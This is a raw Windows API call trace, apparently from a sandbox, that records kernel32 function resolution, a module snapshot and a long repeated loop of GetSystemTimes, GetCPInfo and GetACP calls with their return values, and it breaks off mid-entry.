[0053.231] SetLastError (dwErrCode=0x0) [0053.231] GetLastError () returned 0x0 [0053.231] SetLastError (dwErrCode=0x0) [0053.231] GetLastError () returned 0x0 [0053.231] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.231] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0053.231] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0053.231] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0053.233] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0053.233] PeekMessageA (in: lpMsg=0x18fa44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa44) returned 0 [0053.233] GetTickCount () returned 0x1c2e1 [0053.233] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.234] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.234] GetACP () returned 0x4e4 [0053.234] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.234] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.234] GetACP () returned 0x4e4 [0053.234] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.234] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.234] GetACP () returned 0x4e4 [0053.234] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.234] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.234] GetACP () returned 0x4e4 [0053.234] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.234] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.234] GetACP () returned 0x4e4 [0053.234] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.234] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.234] GetACP () returned 0x4e4 [0053.234] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.234] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.234] GetACP () returned 0x4e4 [0053.234] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.234] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.234] GetACP () returned 0x4e4 [0053.234] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.235] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.235] GetACP () returned 0x4e4 [0053.235] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.235] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.235] GetACP () returned 0x4e4 [0053.235] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.235] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.235] GetACP () returned 0x4e4 [0053.235] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.235] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.235] GetACP () returned 0x4e4 [0053.235] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.235] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.235] GetACP () returned 0x4e4 [0053.235] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.235] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.235] GetACP () returned 0x4e4 [0053.235] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.235] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.235] GetACP () returned 0x4e4 [0053.235] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.235] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.235] GetACP () returned 0x4e4 [0053.235] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.235] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.235] GetACP () returned 0x4e4 [0053.235] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.236] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.236] GetACP () returned 0x4e4 [0053.236] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.236] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.236] GetACP () returned 0x4e4 [0053.236] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.236] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.236] GetACP () returned 0x4e4 [0053.236] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.236] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.236] GetACP () returned 0x4e4 [0053.236] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.236] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.236] GetACP () returned 0x4e4 [0053.236] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.236] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.236] GetACP () returned 0x4e4 [0053.236] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.236] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.236] GetACP () returned 0x4e4 [0053.236] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.236] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.236] GetACP () returned 0x4e4 [0053.236] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.236] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.236] GetACP () returned 0x4e4 [0053.236] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.237] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.237] GetACP () returned 0x4e4 [0053.237] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.237] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.237] GetACP () returned 0x4e4 [0053.237] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.237] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.237] GetACP () returned 0x4e4 [0053.237] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.237] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.237] GetACP () returned 0x4e4 [0053.237] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.237] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.237] GetACP () returned 0x4e4 [0053.237] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.237] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.237] GetACP () returned 0x4e4 [0053.237] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.237] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.237] GetACP () returned 0x4e4 [0053.237] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.237] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.237] GetACP () returned 0x4e4 [0053.237] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.237] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.237] GetACP () returned 0x4e4 [0053.237] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.238] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.238] GetACP () returned 0x4e4 [0053.238] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.238] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.238] GetACP () returned 0x4e4 [0053.238] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.238] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.238] GetACP () returned 0x4e4 [0053.238] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.238] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.238] GetACP () returned 0x4e4 [0053.238] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.238] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.238] GetACP () returned 0x4e4 [0053.238] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.238] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.238] GetACP () returned 0x4e4 [0053.238] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.238] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.238] GetACP () returned 0x4e4 [0053.238] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.239] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.239] GetACP () returned 0x4e4 [0053.239] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.240] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.240] GetACP () returned 0x4e4 [0053.240] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.241] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.241] GetACP () returned 0x4e4 [0053.241] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.242] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.242] GetACP () returned 0x4e4 [0053.242] GetSystemTimes (in: 